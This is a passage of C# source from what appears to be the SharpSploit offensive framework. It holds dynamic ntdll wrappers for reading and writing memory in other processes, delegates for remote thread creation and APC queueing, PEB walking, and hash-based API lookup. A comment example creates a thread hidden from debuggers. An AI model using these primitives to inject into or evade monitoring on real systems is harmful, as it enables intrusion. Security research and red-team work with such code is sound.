IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect) 2919 | { 2920 | // Craft an array for the arguments 2921 | object[] funcargs = 2922 | { 2923 | ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect 2924 | }; 2925 | 2926 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtAllocateVirtualMemory", typeof(DELEGATES.NtAllocateVirtualMemory), ref funcargs); 2927 | if (retValue == Native.NTSTATUS.AccessDenied) 2928 | { 2929 | // STATUS_ACCESS_DENIED 2930 | throw new UnauthorizedAccessException("Access is denied."); 2931 | } 2932 | if (retValue == Native.NTSTATUS.AlreadyCommitted) 2933 | { 2934 | // STATUS_ALREADY_COMMITTED 2935 | throw new InvalidOperationException("The specified address range is already committed."); 2936 | } 2937 | if (retValue == Native.NTSTATUS.CommitmentLimit) 2938 | { 2939 | // STATUS_COMMITMENT_LIMIT 2940 | throw new InvalidOperationException("Your system is low on virtual memory."); 2941 | } 2942 | if (retValue == Native.NTSTATUS.ConflictingAddresses) 2943 | { 2944 | // STATUS_CONFLICTING_ADDRESSES 2945 | throw new InvalidOperationException("The specified address range conflicts with the address space."); 2946 | } 2947 | if (retValue == Native.NTSTATUS.InsufficientResources) 2948 | { 2949 | // STATUS_INSUFFICIENT_RESOURCES 2950 | throw new InvalidOperationException("Insufficient system resources exist to complete the API call."); 2951 | } 2952 | if (retValue == Native.NTSTATUS.InvalidHandle) 2953 | { 2954 | // STATUS_INVALID_HANDLE 2955 | throw new InvalidOperationException("An invalid HANDLE was specified."); 2956 | } 2957 | if (retValue == Native.NTSTATUS.InvalidPageProtection) 2958 | { 2959 | // STATUS_INVALID_PAGE_PROTECTION 2960 | throw new InvalidOperationException("The specified page protection was not valid."); 2961 | } 2962 | if (retValue == Native.NTSTATUS.NoMemory) 2963 | { 2964 | // STATUS_NO_MEMORY 2965 | throw new InvalidOperationException("Not enough virtual memory or paging file quota is available to complete the specified operation."); 2966 | } 2967 | if (retValue == Native.NTSTATUS.ObjectTypeMismatch) 2968 | { 2969 | // STATUS_OBJECT_TYPE_MISMATCH 2970 | throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request."); 2971 | } 2972 | if (retValue != Native.NTSTATUS.Success) 2973 | { 2974 | // STATUS_PROCESS_IS_TERMINATING == 0xC000010A 2975 | throw new InvalidOperationException("An attempt was made to duplicate an object handle into or out of an exiting process."); 2976 | } 2977 | 2978 | BaseAddress = (IntPtr)funcargs[1]; 2979 | return BaseAddress; 2980 | } 2981 | 2982 | public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 FreeType) 2983 | { 2984 | // Craft an array for the arguments 2985 | object[] funcargs = 2986 | { 2987 | ProcessHandle, BaseAddress, RegionSize, FreeType 2988 | }; 2989 | 2990 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtFreeVirtualMemory", typeof(DELEGATES.NtFreeVirtualMemory), ref funcargs); 2991 | if (retValue == Native.NTSTATUS.AccessDenied) 2992 | { 2993 | // STATUS_ACCESS_DENIED 2994 | throw new UnauthorizedAccessException("Access is denied."); 2995 | } 2996 | if (retValue == Native.NTSTATUS.InvalidHandle) 2997 | { 2998 | // STATUS_INVALID_HANDLE 2999 | throw new InvalidOperationException("An invalid HANDLE was specified."); 3000 | } 3001 | if (retValue != Native.NTSTATUS.Success) 3002 | { 3003 | // STATUS_OBJECT_TYPE_MISMATCH == 0xC0000024 3004 | throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request."); 3005 | } 3006 | } 3007 | 3008 | public static string GetFilenameFromMemoryPointer(IntPtr hProc, IntPtr pMem) 3009 | { 3010 | // Alloc buffer for result struct 3011 | IntPtr pBase = IntPtr.Zero; 3012 | IntPtr RegionSize = (IntPtr)0x500; 3013 | IntPtr pAlloc = NtAllocateVirtualMemory(hProc, ref pBase, IntPtr.Zero, ref RegionSize, Win32.Kernel32.MEM_COMMIT | Win32.Kernel32.MEM_RESERVE, Win32.WinNT.PAGE_READWRITE); 3014 | 3015 | // Prepare NtQueryVirtualMemory parameters 3016 | Native.MEMORYINFOCLASS memoryInfoClass = Native.MEMORYINFOCLASS.MemorySectionName; 3017 | UInt32 MemoryInformationLength = 0x500; 3018 | UInt32 Retlen = 0; 3019 | 3020 | // Craft an array for the arguments 3021 | object[] funcargs = 3022 | { 3023 | hProc, pMem, memoryInfoClass, pAlloc, MemoryInformationLength, Retlen 3024 | }; 3025 | 3026 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryVirtualMemory", typeof(DELEGATES.NtQueryVirtualMemory), ref funcargs); 3027 | 3028 | string FilePath = string.Empty; 3029 | if (retValue == Native.NTSTATUS.Success) 3030 | { 3031 | Native.UNICODE_STRING sn = (Native.UNICODE_STRING)Marshal.PtrToStructure(pAlloc, typeof(Native.UNICODE_STRING)); 3032 | FilePath = Marshal.PtrToStringUni(sn.Buffer); 3033 | } 3034 | 3035 | // Free allocation 3036 | NtFreeVirtualMemory(hProc, ref pAlloc, ref RegionSize, Win32.Kernel32.MEM_RELEASE); 3037 | if (retValue == Native.NTSTATUS.AccessDenied) 3038 | { 3039 | // STATUS_ACCESS_DENIED 3040 | throw new UnauthorizedAccessException("Access is denied."); 3041 | } 3042 | if (retValue == Native.NTSTATUS.AccessViolation) 3043 | { 3044 | // STATUS_ACCESS_VIOLATION 3045 | throw new InvalidOperationException("The specified base address is an invalid virtual address."); 3046 | } 3047 | if (retValue == Native.NTSTATUS.InfoLengthMismatch) 3048 | { 3049 | // STATUS_INFO_LENGTH_MISMATCH 3050 | throw new InvalidOperationException("The MemoryInformation buffer is larger than MemoryInformationLength."); 3051 | } 3052 | if (retValue == Native.NTSTATUS.InvalidParameter) 3053 | { 3054 | // STATUS_INVALID_PARAMETER 3055 | throw new InvalidOperationException("The specified base address is outside the range of accessible addresses."); 3056 | } 3057 | return FilePath; 3058 | } 3059 | 3060 | public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect) 3061 | { 3062 | // Craft an array for the arguments 3063 | UInt32 OldProtect = 0; 3064 | object[] funcargs = 3065 | { 3066 | ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect 3067 | }; 3068 | 3069 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(DELEGATES.NtProtectVirtualMemory), ref funcargs); 3070 | if (retValue != Native.NTSTATUS.Success) 3071 | { 3072 | throw new InvalidOperationException("Failed to change memory protection, " + retValue); 3073 | } 3074 | 3075 | OldProtect = (UInt32)funcargs[4]; 3076 | return OldProtect; 3077 | } 3078 | 3079 | public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength) 3080 | { 3081 | // Craft an array for the arguments 3082 | UInt32 BytesWritten = 0; 3083 | object[] funcargs = 3084 | { 3085 | ProcessHandle, BaseAddress, Buffer, BufferLength, BytesWritten 3086 | }; 3087 | 3088 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtWriteVirtualMemory", typeof(DELEGATES.NtWriteVirtualMemory), ref funcargs); 3089 | if (retValue != Native.NTSTATUS.Success) 3090 | { 3091 | throw new InvalidOperationException("Failed to write memory, " + retValue); 3092 | } 3093 | 3094 | BytesWritten = (UInt32)funcargs[4]; 3095 | return BytesWritten; 3096 | } 3097 | 3098 | public static IntPtr LdrGetProcedureAddress(IntPtr hModule, IntPtr FunctionName, IntPtr Ordinal, ref IntPtr FunctionAddress) 3099 | { 3100 | // Craft an array for the arguments 3101 | object[] funcargs = 3102 | { 3103 | hModule, FunctionName, Ordinal, FunctionAddress 3104 | }; 3105 | 3106 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"LdrGetProcedureAddress", typeof(DELEGATES.LdrGetProcedureAddress), ref funcargs); 3107 | if (retValue != Native.NTSTATUS.Success) 3108 | { 3109 | throw new InvalidOperationException("Failed get procedure address, " + retValue); 3110 | } 3111 | 3112 | FunctionAddress = (IntPtr)funcargs[3]; 3113 | return FunctionAddress; 3114 | } 3115 | 3116 | public static void RtlGetVersion(ref Native.OSVERSIONINFOEX VersionInformation) 3117 | { 3118 | // Craft an array for the arguments 3119 | object[] funcargs = 3120 | { 3121 | VersionInformation 3122 | }; 3123 | 3124 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"RtlGetVersion", typeof(DELEGATES.RtlGetVersion), ref funcargs); 3125 | if (retValue != Native.NTSTATUS.Success) 3126 | { 3127 | throw new InvalidOperationException("Failed get procedure address, " + retValue); 3128 | } 3129 | 3130 | VersionInformation = (Native.OSVERSIONINFOEX)funcargs[0]; 3131 | } 3132 | 3133 | public static UInt32 NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, ref UInt32 NumberOfBytesToRead) 3134 | { 3135 | // Craft an array for the arguments 3136 | UInt32 NumberOfBytesRead = 0; 3137 | object[] funcargs = 3138 | { 3139 | ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead 3140 | }; 3141 | 3142 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtReadVirtualMemory", typeof(DELEGATES.NtReadVirtualMemory), ref funcargs); 3143 | if (retValue != Native.NTSTATUS.Success) 3144 | { 3145 | throw new InvalidOperationException("Failed to read memory, " + retValue); 3146 | } 3147 | 3148 | NumberOfBytesRead = (UInt32)funcargs[4]; 3149 | return NumberOfBytesRead; 3150 | } 3151 | 3152 | public static IntPtr NtOpenFile(ref IntPtr FileHandle, Win32.Kernel32.FileAccessFlags DesiredAccess, ref Native.OBJECT_ATTRIBUTES ObjAttr, ref Native.IO_STATUS_BLOCK IoStatusBlock, Win32.Kernel32.FileShareFlags ShareAccess, Win32.Kernel32.FileOpenFlags OpenOptions) 3153 | { 3154 | // Craft an array for the arguments 3155 | object[] funcargs = 3156 | { 3157 | FileHandle, DesiredAccess, ObjAttr, IoStatusBlock, ShareAccess, OpenOptions 3158 | }; 3159 | 3160 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenFile", typeof(DELEGATES.NtOpenFile), ref funcargs); 3161 | if (retValue != Native.NTSTATUS.Success) 3162 | { 3163 | throw new InvalidOperationException("Failed to open file, " + retValue); 3164 | } 3165 | 3166 | 3167 | FileHandle = (IntPtr)funcargs[0]; 3168 | return FileHandle; 3169 | } 3170 | 3171 | /// 3172 | /// Holds delegates for API calls in the NT Layer. 3173 | /// Must be public so that they may be used with SharpSploit.Execution.DynamicGeneric.DynamicFunctionInvoke 3174 | /// 3175 | /// 3176 | /// 3177 | /// // These delegates may also be used directly. 3178 | /// 3179 | /// // Get a pointer to the NtCreateThreadEx function. 3180 | /// IntPtr pFunction = Execution.DynamicGeneric.GetLibraryAddress(@"ntdll.dll", "NtCreateThreadEx"); 3181 | /// 3182 | /// // Create an instance of a NtCreateThreadEx delegate from our function pointer. 3183 | /// DELEGATES.NtCreateThreadEx createThread = (NATIVE_DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer( 3184 | /// pFunction, typeof(NATIVE_DELEGATES.NtCreateThreadEx)); 3185 | /// 3186 | /// // Invoke NtCreateThreadEx using the delegate 3187 | /// createThread(ref threadHandle, Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero, 3188 | /// procHandle, startAddress, IntPtr.Zero, Native.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero); 3189 | /// 3190 | /// 3191 | public struct DELEGATES 3192 | { 3193 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3194 | public delegate Native.NTSTATUS NtCreateThreadEx( 3195 | out IntPtr threadHandle, 3196 | Win32.WinNT.ACCESS_MASK desiredAccess, 3197 | IntPtr objectAttributes, 3198 | IntPtr processHandle, 3199 | IntPtr startAddress, 3200 | IntPtr parameter, 3201 | bool createSuspended, 3202 | int stackZeroBits, 3203 | int sizeOfStack, 3204 | int maximumStackSize, 3205 | IntPtr attributeList); 3206 | 3207 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3208 | public delegate Native.NTSTATUS RtlCreateUserThread( 3209 | IntPtr Process, 3210 | IntPtr ThreadSecurityDescriptor, 3211 | bool CreateSuspended, 3212 | IntPtr ZeroBits, 3213 | IntPtr MaximumStackSize, 3214 | IntPtr CommittedStackSize, 3215 | IntPtr StartAddress, 3216 | IntPtr Parameter, 3217 | ref IntPtr Thread, 3218 | IntPtr ClientId); 3219 | 3220 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3221 | public delegate Native.NTSTATUS NtCreateSection( 3222 | ref IntPtr SectionHandle, 3223 | uint DesiredAccess, 3224 | IntPtr ObjectAttributes, 3225 | ref ulong MaximumSize, 3226 | uint SectionPageProtection, 3227 | uint AllocationAttributes, 3228 | IntPtr FileHandle); 3229 | 3230 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3231 | public delegate Native.NTSTATUS NtUnmapViewOfSection( 3232 | IntPtr hProc, 3233 | IntPtr baseAddr); 3234 | 3235 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3236 | public delegate Native.NTSTATUS NtMapViewOfSection( 3237 | IntPtr SectionHandle, 3238 | IntPtr ProcessHandle, 3239 | out IntPtr BaseAddress, 3240 | IntPtr ZeroBits, 3241 | IntPtr CommitSize, 3242 | IntPtr SectionOffset, 3243 | out ulong ViewSize, 3244 | uint InheritDisposition, 3245 | uint AllocationType, 3246 | uint Win32Protect); 3247 | 3248 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3249 | public delegate UInt32 LdrLoadDll( 3250 | IntPtr PathToFile, 3251 | UInt32 dwFlags, 3252 | ref Native.UNICODE_STRING ModuleFileName, 3253 | ref IntPtr ModuleHandle); 3254 | 3255 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3256 | public delegate void RtlInitUnicodeString( 3257 | ref Native.UNICODE_STRING DestinationString, 3258 | [MarshalAs(UnmanagedType.LPWStr)] 3259 | string SourceString); 3260 | 3261 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3262 | public delegate void RtlZeroMemory( 3263 | IntPtr Destination, 3264 | int length); 3265 | 3266 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3267 | public delegate UInt32 NtQueryInformationProcess( 3268 | IntPtr processHandle, 3269 | Native.PROCESSINFOCLASS processInformationClass, 3270 | IntPtr processInformation, 3271 | int processInformationLength, 3272 | ref UInt32 returnLength); 3273 | 3274 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3275 | public delegate UInt32 NtOpenProcess( 3276 | ref IntPtr ProcessHandle, 3277 | Win32.Kernel32.ProcessAccessFlags DesiredAccess, 3278 | ref Native.OBJECT_ATTRIBUTES ObjectAttributes, 3279 | ref Native.CLIENT_ID ClientId); 3280 | 3281 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3282 | public delegate UInt32 NtQueueApcThread( 3283 | IntPtr ThreadHandle, 3284 | IntPtr ApcRoutine, 3285 | IntPtr ApcArgument1, 3286 | IntPtr ApcArgument2, 3287 | IntPtr ApcArgument3); 3288 | 3289 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3290 | public delegate UInt32 NtOpenThread( 3291 | ref IntPtr ThreadHandle, 3292 | Win32.Kernel32.ThreadAccess DesiredAccess, 3293 | ref Native.OBJECT_ATTRIBUTES ObjectAttributes, 3294 | ref Native.CLIENT_ID ClientId); 3295 | 3296 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3297 | public delegate UInt32 NtAllocateVirtualMemory( 3298 | IntPtr ProcessHandle, 3299 | ref IntPtr BaseAddress, 3300 | IntPtr ZeroBits, 3301 | ref IntPtr RegionSize, 3302 | UInt32 AllocationType, 3303 | UInt32 Protect); 3304 | 3305 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3306 | public delegate UInt32 NtFreeVirtualMemory( 3307 | IntPtr ProcessHandle, 3308 | ref IntPtr BaseAddress, 3309 | ref IntPtr RegionSize, 3310 | UInt32 FreeType); 3311 | 3312 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3313 | public delegate UInt32 NtQueryVirtualMemory( 3314 | IntPtr ProcessHandle, 3315 | IntPtr BaseAddress, 3316 | Native.MEMORYINFOCLASS MemoryInformationClass, 3317 | IntPtr MemoryInformation, 3318 | UInt32 MemoryInformationLength, 3319 | ref UInt32 ReturnLength); 3320 | 3321 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3322 | public delegate UInt32 NtProtectVirtualMemory( 3323 | IntPtr ProcessHandle, 3324 | ref IntPtr BaseAddress, 3325 | ref IntPtr RegionSize, 3326 | UInt32 NewProtect, 3327 | ref UInt32 OldProtect); 3328 | 3329 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3330 | public delegate UInt32 NtWriteVirtualMemory( 3331 | IntPtr ProcessHandle, 3332 | IntPtr BaseAddress, 3333 | IntPtr Buffer, 3334 | UInt32 BufferLength, 3335 | ref UInt32 BytesWritten); 3336 | 3337 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3338 | public delegate UInt32 RtlUnicodeStringToAnsiString( 3339 | ref Native.ANSI_STRING DestinationString, 3340 | ref Native.UNICODE_STRING SourceString, 3341 | bool AllocateDestinationString); 3342 | 3343 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3344 | public delegate UInt32 LdrGetProcedureAddress( 3345 | IntPtr hModule, 3346 | IntPtr FunctionName, 3347 | IntPtr Ordinal, 3348 | ref IntPtr FunctionAddress); 3349 | 3350 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3351 | public delegate UInt32 RtlGetVersion( 3352 | ref Native.OSVERSIONINFOEX VersionInformation); 3353 | 3354 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3355 | public delegate UInt32 NtReadVirtualMemory( 3356 | IntPtr ProcessHandle, 3357 | IntPtr BaseAddress, 3358 | IntPtr Buffer, 3359 | UInt32 NumberOfBytesToRead, 3360 | ref UInt32 NumberOfBytesRead); 3361 | 3362 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 3363 | public delegate UInt32 NtOpenFile( 3364 | ref IntPtr FileHandle, 3365 | Win32.Kernel32.FileAccessFlags DesiredAccess, 3366 | ref Native.OBJECT_ATTRIBUTES ObjAttr, 3367 | ref Native.IO_STATUS_BLOCK IoStatusBlock, 3368 | Win32.Kernel32.FileShareFlags ShareAccess, 3369 | Win32.Kernel32.FileOpenFlags OpenOptions); 3370 | } 3371 | } 3372 | 3373 | public class DynamicGeneric 3374 | { 3375 | /// 3376 | /// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments. 3377 | /// 3378 | /// The Wover (@TheRealWover) 3379 | /// Name of the DLL. 3380 | /// Name of the function. 3381 | /// Prototype for the function, represented as a Delegate object. 3382 | /// Parameters to pass to the function. Can be modified if function uses call by reference. 3383 | /// Object returned by the function. Must be unmarshalled by the caller. 3384 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters) 3385 | { 3386 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName); 3387 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters); 3388 | } 3389 | 3390 | /// 3391 | /// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory. 3392 | /// 3393 | /// The Wover (@TheRealWover) 3394 | /// A pointer to the unmanaged function. 3395 | /// Prototype for the function, represented as a Delegate object. 3396 | /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. 3397 | /// Object returned by the function. Must be unmarshalled by the caller. 3398 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters) 3399 | { 3400 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType); 3401 | return funcDelegate.DynamicInvoke(Parameters); 3402 | } 3403 | 3404 | /// 3405 | /// Resolves LdrLoadDll and uses that function to load a DLL from disk. 3406 | /// 3407 | /// Ruben Boonen (@FuzzySec) 3408 | /// The path to the DLL on disk. Uses the LoadLibrary convention. 3409 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully. 3410 | public static IntPtr LoadModuleFromDisk(string DLLPath) 3411 | { 3412 | Native.UNICODE_STRING uModuleName = new Native.UNICODE_STRING(); 3413 | DynamicNative.RtlInitUnicodeString(ref uModuleName, DLLPath); 3414 | 3415 | IntPtr hModule = IntPtr.Zero; 3416 | Native.NTSTATUS CallResult = DynamicNative.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); 3417 | if (CallResult != Native.NTSTATUS.Success || hModule == IntPtr.Zero) 3418 | { 3419 | return IntPtr.Zero; 3420 | } 3421 | 3422 | return hModule; 3423 | } 3424 | 3425 | /// 3426 | /// Helper for getting the pointer to a function from a DLL loaded by the process. 3427 | /// 3428 | /// Ruben Boonen (@FuzzySec) 3429 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). 3430 | /// Name of the exported procedure. 3431 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. 3432 | /// IntPtr for the desired function. 3433 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false) 3434 | { 3435 | IntPtr hModule = GetLoadedModuleAddress(DLLName); 3436 | if (hModule == IntPtr.Zero && CanLoadFromDisk) 3437 | { 3438 | hModule = LoadModuleFromDisk(DLLName); 3439 | if (hModule == IntPtr.Zero) 3440 | { 3441 | throw new FileNotFoundException(DLLName + ", unable to find the specified file."); 3442 | } 3443 | } 3444 | else if (hModule == IntPtr.Zero) 3445 | { 3446 | throw new DllNotFoundException(DLLName + ", Dll was not found."); 3447 | } 3448 | 3449 | return GetExportAddress(hModule, FunctionName); 3450 | } 3451 | 3452 | /// 3453 | /// Helper for getting the pointer to a function from a DLL loaded by the process. 3454 | /// 3455 | /// Ruben Boonen (@FuzzySec) 3456 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). 3457 | /// Ordinal of the exported procedure. 3458 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. 3459 | /// IntPtr for the desired function. 3460 | public static IntPtr GetLibraryAddress(string DLLName, short Ordinal, bool CanLoadFromDisk = false) 3461 | { 3462 | IntPtr hModule = GetLoadedModuleAddress(DLLName); 3463 | if (hModule == IntPtr.Zero && CanLoadFromDisk) 3464 | { 3465 | hModule = LoadModuleFromDisk(DLLName); 3466 | if (hModule == IntPtr.Zero) 3467 | { 3468 | throw new FileNotFoundException(DLLName + ", unable to find the specified file."); 3469 | } 3470 | } 3471 | else if (hModule == IntPtr.Zero) 3472 | { 3473 | throw new DllNotFoundException(DLLName + ", Dll was not found."); 3474 | } 3475 | 3476 | return GetExportAddress(hModule, Ordinal); 3477 | } 3478 | 3479 | /// 3480 | /// Helper for getting the pointer to a function from a DLL loaded by the process. 3481 | /// 3482 | /// Ruben Boonen (@FuzzySec) 3483 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). 3484 | /// Hash of the exported procedure. 3485 | /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). 3486 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. 3487 | /// IntPtr for the desired function. 3488 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionHash, long Key, bool CanLoadFromDisk = false) 3489 | { 3490 | IntPtr hModule = GetLoadedModuleAddress(DLLName); 3491 | if (hModule == IntPtr.Zero && CanLoadFromDisk) 3492 | { 3493 | hModule = LoadModuleFromDisk(DLLName); 3494 | if (hModule == IntPtr.Zero) 3495 | { 3496 | throw new FileNotFoundException(DLLName + ", unable to find the specified file."); 3497 | } 3498 | } 3499 | else if (hModule == IntPtr.Zero) 3500 | { 3501 | throw new DllNotFoundException(DLLName + ", Dll was not found."); 3502 | } 3503 | 3504 | return GetExportAddress(hModule, FunctionHash, Key); 3505 | } 3506 | 3507 | /// 3508 | /// Helper for getting the base address of a module loaded by the current process. This base 3509 | /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for 3510 | /// manual export parsing. This function uses the .NET System.Diagnostics.Process class. 3511 | /// 3512 | /// Ruben Boonen (@FuzzySec) 3513 | /// The name of the DLL (e.g. "ntdll.dll"). 3514 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. 3515 | public static IntPtr GetLoadedModuleAddress(string DLLName) 3516 | { 3517 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; 3518 | foreach (ProcessModule Mod in ProcModules) 3519 | { 3520 | if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower())) 3521 | { 3522 | return Mod.BaseAddress; 3523 | } 3524 | } 3525 | return IntPtr.Zero; 3526 | } 3527 | 3528 | /// 3529 | /// Helper for getting the base address of a module loaded by the current process. This base 3530 | /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for 3531 | /// manual export parsing. This function parses the _PEB_LDR_DATA structure. 3532 | /// 3533 | /// Ruben Boonen (@FuzzySec) 3534 | /// The name of the DLL (e.g. "ntdll.dll"). 3535 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. 3536 | public static IntPtr GetPebLdrModuleEntry(string DLLName) 3537 | { 3538 | // Get _PEB pointer 3539 | Native.PROCESS_BASIC_INFORMATION pbi = DynamicNative.NtQueryInformationProcessBasicInformation((IntPtr)(-1)); 3540 | 3541 | // Set function variables 3542 | bool Is32Bit = false; 3543 | UInt32 LdrDataOffset = 0; 3544 | UInt32 InLoadOrderModuleListOffset = 0; 3545 | if (IntPtr.Size == 4) 3546 | { 3547 | Is32Bit = true; 3548 | LdrDataOffset = 0xc; 3549 | InLoadOrderModuleListOffset = 0xC; 3550 | } 3551 | else 3552 | { 3553 | LdrDataOffset = 0x18; 3554 | InLoadOrderModuleListOffset = 0x10; 3555 | } 3556 | 3557 | // Get module InLoadOrderModuleList -> _LIST_ENTRY 3558 | IntPtr PEB_LDR_DATA = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + LdrDataOffset)); 3559 | IntPtr pInLoadOrderModuleList = (IntPtr)((UInt64)PEB_LDR_DATA + InLoadOrderModuleListOffset); 3560 | Native.LIST_ENTRY le = (Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Native.LIST_ENTRY)); 3561 | 3562 | // Loop entries 3563 | IntPtr flink = le.Flink; 3564 | IntPtr hModule = IntPtr.Zero; 3565 | PE.LDR_DATA_TABLE_ENTRY dte = (PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(PE.LDR_DATA_TABLE_ENTRY)); 3566 | while (dte.InLoadOrderLinks.Flink != le.Blink) 3567 | { 3568 | // Match module name 3569 | if (Marshal.PtrToStringUni(dte.FullDllName.Buffer).EndsWith(DLLName, StringComparison.OrdinalIgnoreCase)) 3570 | { 3571 | hModule = dte.DllBase; 3572 | } 3573 | 3574 | // Move Ptr 3575 | flink = dte.InLoadOrderLinks.Flink; 3576 | dte = (PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(PE.LDR_DATA_TABLE_ENTRY)); 3577 | } 3578 | 3579 | return hModule; 3580 | } 3581 | 3582 | /// 3583 | /// Generate an HMAC-MD5 hash of the supplied string using an Int64 as the key. This is useful for unique hash based API lookups. 3584 | /// 3585 | /// Ruben Boonen (@FuzzySec) 3586 | /// API name to hash. 3587 | /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). 3588 | /// string, the computed MD5 hash value. 3589 | public static string GetAPIHash(string APIName, long Key) 3590 | { 3591 | byte[] data = Encoding.UTF8.GetBytes(APIName.ToLower()); 3592 | byte[] kbytes = BitConverter.GetBytes(Key); 3593 | 3594 | using (HMACMD5 hmac = new HMACMD5(kbytes)) 3595 | { 3596 | byte[] bHash = hmac.ComputeHash(data); 3597 | return BitConverter.ToString(bHash).Replace("-", ""); 3598 | } 3599 | } 3600 | 3601 | /// 3602 | /// Given a module base address, resolve the address of a function by manually walking the module export table. 3603 | /// 3604 | /// Ruben Boonen (@FuzzySec) 3605 | /// A pointer to the base address where the module is loaded in the current process. 3606 | /// The name of the export to search for (e.g. "NtAlertResumeThread"). 3607 | /// IntPtr for the desired function. 3608 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) 3609 | { 3610 | IntPtr FunctionPtr = IntPtr.Zero; 3611 | try 3612 | { 3613 | // Traverse the PE header in memory 3614 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 3615 | Int16 OptHeaderSize = 